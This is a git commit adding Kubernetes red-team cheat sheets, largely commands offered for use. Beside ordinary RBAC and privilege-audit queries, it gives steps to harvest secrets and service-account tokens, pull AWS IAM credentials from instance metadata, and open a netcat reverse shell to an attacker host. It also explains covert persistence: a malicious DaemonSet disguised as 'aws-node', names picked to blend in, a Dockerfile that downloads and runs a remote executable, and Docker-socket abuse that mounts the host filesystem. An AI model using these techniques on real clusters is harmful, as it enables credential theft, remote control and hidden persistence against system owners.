first commit
This commit is contained in:
@@ -0,0 +1,21 @@
|
||||
|
||||
- Get all Configmaps With Sensetive Details In Keys
|
||||
- `kubectl get configmaps --all-namespaces -o json | jq -r '.items[].data | select(. != null)' | awk '{print(tolower($0))}' | jq -r 'with_entries( select(.key|(contains("pass") or contains("secret") or contains("token"))))'`
|
||||
|
||||
- Get all configmaps with sensetive details in values
|
||||
- `kubectl get configmaps --all-namespaces -o json | jq -r '.items[].data | select(. != null)' | awk '{print(tolower($0))}' | jq -r 'with_entries( select(.value|(contains("pass") or contains("secret") or contains("token"))))'`
|
||||
|
||||
- Get Containers With Sensitive Details In env
|
||||
- `kubectl get pods --all-namespaces -o json | jq -r '.items[].spec.containers[].env | select(. != null)' | awk '{print(tolower($0))}' | jq -r '.[] | select(.name | (contains("pass") or contains("secret") or contains("token")))'`
|
||||
|
||||
- Get the Kubernetes Token Mounted by Default
|
||||
- `TOKEN=$(kubectl exec $POD_NAME -n $NAMESPACE -- cat /var/run/secrets/kubernetes.io/serviceaccount/token)`
|
||||
|
||||
- Test Communication to the Kubernetes API Server
|
||||
- `kubectl exec $POD_NAME -n $NAMESPACE -- curl https://$API_SERVER/api --header 'Authorization: Bearer $TOKEN' --insecure`
|
||||
|
||||
- List all Kubernetes Cluster Secrets
|
||||
- `kubectl exec $POD_NAME -n $NAMESPACE -- curl https://$API_SERVER/api/v1/namespaces/kube-system/secrets --header 'Authorization: Bearer $TOKEN' --insecure`
|
||||
|
||||
- Get AWS EC2 Instance Metadata Token
|
||||
- `kubectl exec ingress-nginx-controller-df547d78c-rxww2 -n ingress-nginx -- curl http://169.254.169.254/latest/meta-data/iam/security-credentials/nodes.kopstest.k8s.local`
|
||||
@@ -0,0 +1,57 @@
|
||||
- Get API version
|
||||
- `curl -Lk https://<API_IP>/version --header "Authorization: Bearer $TOKEN"`
|
||||
- Useful API endpoints
|
||||
- Spec
|
||||
- `https://<API_IP>/openapi/v2`
|
||||
- Secrets
|
||||
- `api/v1/namespaces/default/secrets/`
|
||||
- Account information
|
||||
- `api/v1/namespaces/default/serviceaccounts`
|
||||
- Get Load Balancers
|
||||
- `kubectl get services --all-namespaces -o jsonpath='{range .items[?(@.spec.type=="LoadBalancer")]}{.status.loadBalancer.ingress[*].hostname}:{.spec.ports[*].port}{"\n"}{end}'`
|
||||
- List pods in `kube-system` namespace
|
||||
- `kubectl get pods -n kube-system`
|
||||
- Get all secrets (requires cluster admin permissions, usually `kube-system` token)
|
||||
- `kubectl get secrets --all-namespaces`
|
||||
- List all pods running on current node to determine which secrets are accessible
|
||||
- `kubectl get pods --all-namespaces --field-selector spec.nodeName=<node_name>`
|
||||
- Retrieve specific secret
|
||||
- `kubectl get secret <secret_name> -o json -n <namespace> | jq .data`
|
||||
- Get External IP's of all nodes
|
||||
- `kubectl get nodes --all-namespaces -o jsonpath='{range .items[*].status.addresses[?(@.type=="ExternalIP")]}{.address}{"\n"}{end}'`
|
||||
- Get Kubernetes API Server Config
|
||||
- `POD_NAME=$(kubectl get pods --namespace kube-system | grep kube-apiserver | head -1 | awk '{print $1}') && kubectl describe pod $POD_NAME --namespace kube-system`
|
||||
- Get list of nodes sorted by creation time (useful for finding stable machines for persistence)
|
||||
- `kubectl get nodes –sort-by=.metadata.creationTimestamp`
|
||||
- Get Kubernetes API Server Container Args
|
||||
- `POD_NAME=$(kubectl get pods --namespace kube-system | grep kube-apiserver | head -1 | awk '{print $1}') && kubectl get pod $POD_NAME --namespace kube-system -o json | jq -r '.spec.containers | .[] |select(.name == "kube-apiserver")| .args'`
|
||||
|
||||
- Get Network Policies
|
||||
- `kubectl get networkpolicy --all-namespaces`
|
||||
|
||||
- Get Cluster Admin Role Bindings
|
||||
- `kubectl get clusterrolebindings | grep "ClusterRole/cluster-admin"`
|
||||
|
||||
- Get Cluster Roles With Secrets Access
|
||||
- `kubectl get clusterroles -o json | jq -r '.items[] | select(.rules[].resources | index( "secrets" )|select(. != null)).metadata.name'`
|
||||
|
||||
- Get Roles With Secrets Access
|
||||
- `kubectl get roles --all-namespaces -o json | jq -r '.items[] | select(.rules[].resources | index( "secrets" )|select(. != null)).metadata.name'`
|
||||
|
||||
- Get Cluster Roles with Configmaps Access
|
||||
- `kubectl get clusterroles -o json | jq -r '.items[] | select(.rules[].resources | index( "configmaps" )|select(. != null)).metadata.name'`
|
||||
|
||||
- Get Roles with Configmaps Access
|
||||
- `kubectl get roles --all-namespaces -o json | jq -r '.items[] | select(.rules[].resources | index( "configmaps" )|select(. != null)).metadata.name'`
|
||||
|
||||
- Get Pods With Containers Without Resources Limits
|
||||
- `kubectl get pods --all-namespaces -o json | jq -r '.items[].spec.containers[] | select(.resources.limits == null).name'`
|
||||
|
||||
- Get All Containers Images
|
||||
- `kubectl get pods --all-namespaces -o json | jq -r '.items[].spec.containers[].image' | sort | uniq`
|
||||
|
||||
- Get cluster roles with wildcard resources
|
||||
- `kubectl get clusterroles -o json | jq -r '.items[] | select(.rules[].resources | index( "*" )|select(. != null)).metadata.name'`
|
||||
|
||||
- Get roles with wildcard resources
|
||||
- `kubectl get roles --all-namespaces -o json | jq -r '.items[] | select(.rules[].resources | index( "*" )|select(. != null)).metadata.name'`
|
||||
@@ -0,0 +1,5 @@
|
||||
- Run a Reverse Shell from the Kubernetes Cluster to your Host
|
||||
- `kubectl run pod-shell --image=busybox -- nc <HOST> <PORT> -e /bin/sh`
|
||||
|
||||
- Get the External IP for Egress Communication to the Internet
|
||||
- `kubectl exec $POD_NAME -n $NAMESPACE -- curl https://ipinfo.io/json`
|
||||
@@ -0,0 +1,32 @@
|
||||
- Increase number of containers currently deployed
|
||||
- `kubectl scale --replicas=3 deployment/nginx`
|
||||
- Update application version of running containers
|
||||
- `kubectl set image deployment/nginx-deployment\nginx=nginx:1.9.1 --record`
|
||||
- Get a shell on a particular container
|
||||
- `kubectl exec sparcflow/nginx-<container_number> bash`
|
||||
- Deploy a pod according to YAML manifest file
|
||||
- `kubectl apply -f <manifest_file>`
|
||||
- Get a list of running pods
|
||||
- `kubectl get pods`
|
||||
- Clean output
|
||||
- `kubectl get pods -n prod -o="custom-columns=NODE:.spec.nodeName,POD:.metadata.name"`
|
||||
- Destroy pod
|
||||
- `kubectl delete -f <manifest_file>`
|
||||
- Check for service account secrets
|
||||
1. `mount |grep -i secrets`
|
||||
2. `cat /run/secrets/kubernetes.io/serviceaccount/token`
|
||||
- Decode JWT secret
|
||||
- `cat /run/secrets/kubernetes.io/serviceaccount/token | cut -d "." -f 2 | base64 -d`
|
||||
- Interact with API with pilfered secret:
|
||||
1. `export TOKEN=$(cat /run/secrets/kubernetes.io/serviceaccount/token)`
|
||||
2. `env` - Determine location of API
|
||||
3. `curl -Lk https://10.100.0.1/api --header "Authorization: Bearer $TOKEN"`
|
||||
- Check authorization to perform various actions
|
||||
- `kubectl version auth can-i <action>`
|
||||
- `kubectl version auth can-i get nodes`
|
||||
- `kubectl version auth can-i get pods`
|
||||
- Make sure you specify namespace with -n if the above succeeds, but the actual action fails. Use namespace specified in the JWT
|
||||
- Extract manifest of all pods
|
||||
- `kubectl get pods -n prod -o yaml > output.yaml`
|
||||
- Get nicely formatted output:
|
||||
- ` kubectl get pods -o="custom-columns=NODE:.spec.nodeName,POD:.metadata.name,PODIP:.status.podIP,SERVICE:.spec.serviceAccount,ENV:.spec.containers[*].env[*].valueFrom.secretKeyRef,FILESECRET:.spec.volumes[*].secret.secretName"`
|
||||
@@ -0,0 +1,106 @@
|
||||
- Use redundant means in cloud and Kubernetes environments, since the instances/nodes/pods/etc. are constantly in flux.
|
||||
- Stable -> spinning up a malicious pod
|
||||
- Unstable -> running executable inside a current pod or on a cloud node
|
||||
- Useful names for container/pods/bucket to blend in:
|
||||
- Container - `amazon-k8s-cni` - Mimics legitimate Amazon image
|
||||
- S3 bucket - `(amazon-cni-plugin-essentials` - Blends in with more legit Amazon infra
|
||||
- Persistence within AWS Kubernetes is most convenient by spinning up a new pod of the `DaemonSet`, `aws-node` variety
|
||||
- Service account is automatically given read-only access to everything
|
||||
- All containers mount the docker socket for easy root access to the host
|
||||
- **Caveat**: make sure to limit the nodes this runs on; by default `DaemonSet` runs on every node
|
||||
- Create:
|
||||
1. Pull the manifest of the existing, normal `DaemonSet`
|
||||
- `kubectl get DaemonSet aws-node -o yaml -n kube-system > aws-ds-manifest.yaml`
|
||||
2. Change the location of the image to location of malicious image
|
||||
- `sed -E "s/image: .*/image: 886477354405.dkr.ecr.eu-west-1.amazonaws.com/amazon-k8s-cni:v1.5.3/g" -i aws-ds-manifest.yaml`
|
||||
3. Change the name of the `DaemonSet` to avoid conflicting with the existing, normal `DaemonSet`
|
||||
- `sed "s/ name: aws-node/ name: aws-node-cni/g" -i aws-ds-manifest.yaml`
|
||||
4. Replace host and container port to avoid conflict
|
||||
- `sed -E "s/Port: [0-9]+/Port: 12711/g" -i aws-ds-manifest.yaml`
|
||||
5. Update node label key and value - specify which nodes should run the pod
|
||||
- `sed "s/ key: beta.kubernetes.io\/os/ key: service/g" -i aws-ds-manifest.yaml`
|
||||
- `sed "s/ linux/ kafka-broker-collector/g" -i aws-ds-manifest.yaml`
|
||||
6. Push new manifest to the cluster
|
||||
- `kubectl -f apply -n kube-system aws-ds-manifest.yaml`
|
||||
- Can also use `ReplicaSet`
|
||||
- This would allow us to use `aws-node` as the name since they would belong to a different Kubernetes object than `DaemonSet`
|
||||
|
||||
- Cron job
|
||||
- Can be implemented at the cluster level to spin up a pod at a certain time or under certain conditions
|
||||
- For additional stealth, the cron pod can be used to contact the Docker socket and spin up a new container in which to run the malicious code, allowing the cron pod to terminate gracefully.
|
||||
- Advantage of this is it is set up separate from Kubernetes and invisible to the cluster.
|
||||
- Use a container name that mimics the typical "pause" containers - there are always many running
|
||||
|
||||
- Kubernetes mutating webhook - post v1.15
|
||||
- Look into this
|
||||
- [Writing a very basic Kubernetes mutating admission webhook](https://medium.com/ovni/writing-a-very-basic-kubernetes-mutating-admission-webhook-398dbbcb63ec)
|
||||
|
||||
|
||||
- Example Dockerfile to download and run an arbitrary executable within Alpine container
|
||||
```Dockerfile
|
||||
FROM alpine
|
||||
CMD ["/bin/sh", "-c", "wget https://amazon-cni-plugin-essentials.s3.amazonaws.com/run -O /root/run && chmod +x /root/run && /root/run"]
|
||||
```
|
||||
|
||||
- Example manifest file for persistence cron:
|
||||
```YAML
|
||||
apiVersion: batch/v1beta1
|
||||
kind: CronJob
|
||||
metadata:
|
||||
name: metrics-collect
|
||||
spec:
|
||||
schedule: "0 10 * * *"
|
||||
jobTemplate:
|
||||
spec:
|
||||
template:
|
||||
spec:
|
||||
containers:
|
||||
- name: metrics-collect
|
||||
image: 882347352467.dkr.ecr.eu-west-1.amazonaws.com/amazon-metrics-collector
|
||||
volumeMounts:
|
||||
- mountPath: /var/run/docker.sock
|
||||
name: dockersock
|
||||
volumes:
|
||||
- name: dockersock
|
||||
hostPath:
|
||||
path: /var/run/docker.sock
|
||||
restartPolicy: Never
|
||||
```
|
||||
|
||||
- Example Docker image for persistence cron:
|
||||
```Dockerfile
|
||||
FROM debian: buster-slim
|
||||
RUN apt update && apt install -y git make
|
||||
RUN apt install -y prometheus-varnish-exporter
|
||||
COPY init.sh /var/run/init.sh
|
||||
ENTRYPOINT ["/var/run/init.sh"]
|
||||
```
|
||||
|
||||
- Script to pull image, create a container, and start a container independent of Kubernetes (update image paths and such):
|
||||
```BASH
|
||||
# Pull the image from the ECR registry
|
||||
curl \
|
||||
--silent \
|
||||
--unix-socket /var/run/docker.sock \
|
||||
"http://docker/images/create?fromImage=881445392307.dkr.ecr.eu-west\
|
||||
-1.amazonaws.com/pause-amd64" \
|
||||
-X POST
|
||||
# Create the container from the image and mount the / directory
|
||||
curl \
|
||||
--silent \
|
||||
--unix-socket /var/run/docker.sock \
|
||||
"http://docker/containers/create?name=pause-go-amd64-4413" \
|
||||
-X POST \
|
||||
-H "Content-Type: application/json" \
|
||||
-d '{ "Image": "881445392307.dkr.ecr.eu-west-1.amazonaws.com/pause-amd64",\
|
||||
"Volumes": {"/hostos/": {}},"HostConfig": {"Binds": ["/:/hostos"]}}'
|
||||
# Start the container
|
||||
curl \
|
||||
--silent \
|
||||
--unix-socket /var/run/docker.sock \
|
||||
"http://docker/containers/pause-go-amd64-4413/start" \
|
||||
-X POST \
|
||||
-H "Content-Type: application/json" \
|
||||
--output /dev/null \
|
||||
--write-out "%{http_code}"
|
||||
```
|
||||
@@ -0,0 +1,12 @@
|
||||
|
||||
- Get Pods With Privileged Containers
|
||||
- `kubectl get pods --all-namespaces -o json | jq -r '.items[]|select(.spec.containers[].securityContext | select(.privileged == true)).metadata.name'`
|
||||
|
||||
- Get Pods with Containers allowed to perform Privilege Escalation
|
||||
- `kubectl get pods --all-namespaces -o json | jq -r '.items[]|select(.spec.containers[].securityContext | select(.allowPrivilegeEscalation == true)).metadata.name'`
|
||||
|
||||
- Get Pods with Containers running as Root
|
||||
- `kubectl get pods --all-namespaces -o json | jq -r '.items[]|select(.spec.containers[].securityContext | select(.runAsUser == 0)).metadata.name'`
|
||||
|
||||
- Get Pods with Containers including System Admin Capability
|
||||
- `kubectl get pods --all-namespaces -o json | jq -r '.items[] | select(.spec.containers[].securityContext.capabilities.add | index("SYS_ADMIN") | select(. != null)).metadata.name'`
|
||||
Reference in New Issue
Block a user